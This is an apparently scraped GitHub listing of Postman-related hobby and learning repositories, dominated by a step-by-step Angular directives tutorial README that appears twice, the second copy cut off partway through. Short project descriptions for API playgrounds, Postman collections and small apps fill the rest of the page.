access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "s[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
aWhereAPI/API-Postman-Collections
application, coding, collection, collections, form, free, play, playing 		Use these Postman collections to start playing with the aWhere API Platform without coding. Requires the free Chrome application, Postman, from getpostman.com 0 stars 0 watchers 8 forks
TCGplayer/Postman-Api
collection, current, endpoint, endpoints, play 		A Postman collection containing requests for all of the current TCGPlayer API endpoints. 0 stars 0 watchers 8 forks
mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
tomvanschaijk/romanian-violet-rollsroyce
chai, dotnet, play, playground 		A small little project as a playground for dotnetcore 3, using an api, blazor, postman, ... 1 stars 1 watchers 0 forks
daphneaugier/fairplay
book, booking, form, platform, play, site, student, website 		Building website for jazz-student-artist booking platform. 1 stars 1 watchers 0 forks
jmfayard/httplayground
http, play, playground 		HTTP Playground 1 stars 1 watchers 0 forks
Nasrallah-Adel/weather
auth, authenticate, authenticates, city, display, play, service, user, weather 		Weather service that authenticates a user and displays the temperature of his requested city. 1 stars 1 watchers 0 forks
ysyesilyurt/potential-playlist
backend, form, list, platform, play, service, services, user, users 		A playlist maintainer SpringBoot backend that aims to serve services to users as a song and playlist platform 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
aubm/Cats-API
command, command line, fake, newman, play, test, tests, tool 		A fake API built to play with Postman tests and the newman command line tool 0 stars 0 watchers 1 forks
domahidizoltan/playground-newman
automat, automation, newman, play, playground, test 		Playing with Rest API test automation with Postman/Newman 0 stars 0 watchers 1 forks
annabush092/hey-mr-postman
active, display, email, interactive, mail, play 		An interactive, 3D display of your email inbox 0 stars 0 watchers 1 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
dreamfactorysoftware/dreamfactory-postman-collection
actor, collection, collections, host, hosting, play, software 		A repository for hosting plug-n-play Postman collections 0 stars 0 watchers 0 forks
bigcommerce-labs/carrier-service-playground
commerce, play, playground, service, test, testing 		This is a playground app to make life easy for team to edit carriers for testing rather than using postman 0 stars 0 watchers 0 forks
johannescarlen/grails-simple-app
auth, authentication, class, grails, json, play, playaround, rails, test, testing 		A playaround with Grails. Creating a REST post and get with basic authentication. Also some simple domain class scaffolding. Import the postman.json into Postman for API testing. 0 stars 0 watchers 0 forks
regeanish/Mean-Hotel
client, data, database, display, form, format, hotel, information, play, playing, reviews, server, test, testing, user 		Created a Hotel API where user can add, delete, update hotel name and reviews using NodeJS(Express) and MongoDB. Used RESTful API HTTP client POSTMAN for testing. Additionally, building UI for displaying information coming from the server & database about the hotel using AngularJS 0 stars 0 watchers 0 forks
dangerousplay/SwaggerToPostman
description, play, script 		No description available. 0 stars 0 watchers 0 forks
nandhithakamal/playing-postman
description, play, playing, script 		No description available. 0 stars 0 watchers 0 forks
olzh2102/rest-api-playlist
description, list, play, rest, script 		No description available. 0 stars 0 watchers 0 forks
playtest-lab/postman-testes
description, play, script, test 		No description available. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
chriswfoster/postmanWithByron
play 		This is for Byron to play with postman 0 stars 0 watchers 0 forks
cl1k/MasterMind
game, interacted, play, service 		Java REST service that can be interacted with using Postman to play a number guessing game 0 stars 0 watchers 0 forks
codecraze143/POSTMAN-MASTER
play, playing 		Postman Basics and playing with APIs 0 stars 0 watchers 0 forks
eg0resg0/apiTest
github, play 		Test project to play with github api using postman 0 stars 0 watchers 0 forks
isildur93/Simple-Auth-system
client, clients, display, express, login, method, play, signup, system, track 		Simple express app that allows you to login, signup, track session permanently and display values received via POST method. These values could be sent by ESP8266 or simply by Postman (or others REST api clients ) 0 stars 0 watchers 0 forks
joeystevens00/play-api-proxy-automated-tests
automat, automate, automated, play, proxy, test, tests 		Postman tests for play-api-proxy 0 stars 0 watchers 0 forks
jyotiska/postman_game
game, multiplayer, play, realtime 		Simple multiplayer realtime game based on Websockets 0 stars 0 watchers 0 forks
LennartCockx/postman-generic-json-visualize
beta, display, generic, json, play, script, util, utilizes, visual, visualization 		A script which utilizes the (beta) visualization option from postman to display any json response in a more visual manner 0 stars 0 watchers 0 forks
LOTIRELK/LetterBoxSimulation
display, e mail, experiment, following, initial, mail, office, play, process, program, sort 		Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). 0 stars 0 watchers 0 forks
made2591/covid-postman-collection
collection, covid, play 		A repository with a Postman collection to play with Covid Global API 0 stars 0 watchers 0 forks
matt-ball/users-api
memory, play, playing, user, users 		Mock in-memory API for playing around with Postman. 0 stars 0 watchers 0 forks
pnowosie/elixir-omg-postman
collection, collections, github, http, https, play, spec, specs 		Postman collections with [elixir-omg API](https://github.com/omisego/elixir-omg/) specs to easy getting play with 0 stars 0 watchers 0 forks
robbiebowman/postmanpat
play, playing 		Kotlin project for playing around with HubSpot's Slack Bot SDK 0 stars 0 watchers 0 forks
saveenchad/AjaxExplorer
common, config, configuration, configurations, fields, form, play, remote, send, tool, user 		The Super Endpoint Explorer (SEE) app will allow the end user to craft requests to a remote end-point by filling out various form fields, send the request and show the response, and save common request configurations for later playback. The form of the tool is roughly like the Chrome Extension called Postman or an OSX HTTP exploration like Paw but obviously less polished and feature laden. 0 stars 0 watchers 0 forks
szonov/slim-route-export
application, export, import, play, route, routes, slim 		Display routes and postman import for Slim application 0 stars 0 watchers 0 forks
WingChhun/Mongo_rest_api
endpoint, play, rest, sports, test 		Example of a REST api for a sports team with players, will test making endpoint requests using POSTMAN. 0 stars 0 watchers 0 forks
wwbbrr/postman-node-shopping-list
http, list, node, play, playing, shopping 		playing around with http.createServer and REST 0 stars 0 watchers 0 forks
YangCatalog/site_health
check, collection, collections, comparing, container, play, playing, public, result, site 		This container checks the health if YangCatalog by playing the public Postman collections and comparing the results. 0 stars 0 watchers 0 forks

import (40 listings) (Back to Top)

gustavguez/postman-importer
collection, import, importer 		Postman collection importer 22 stars 22 watchers 6 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your 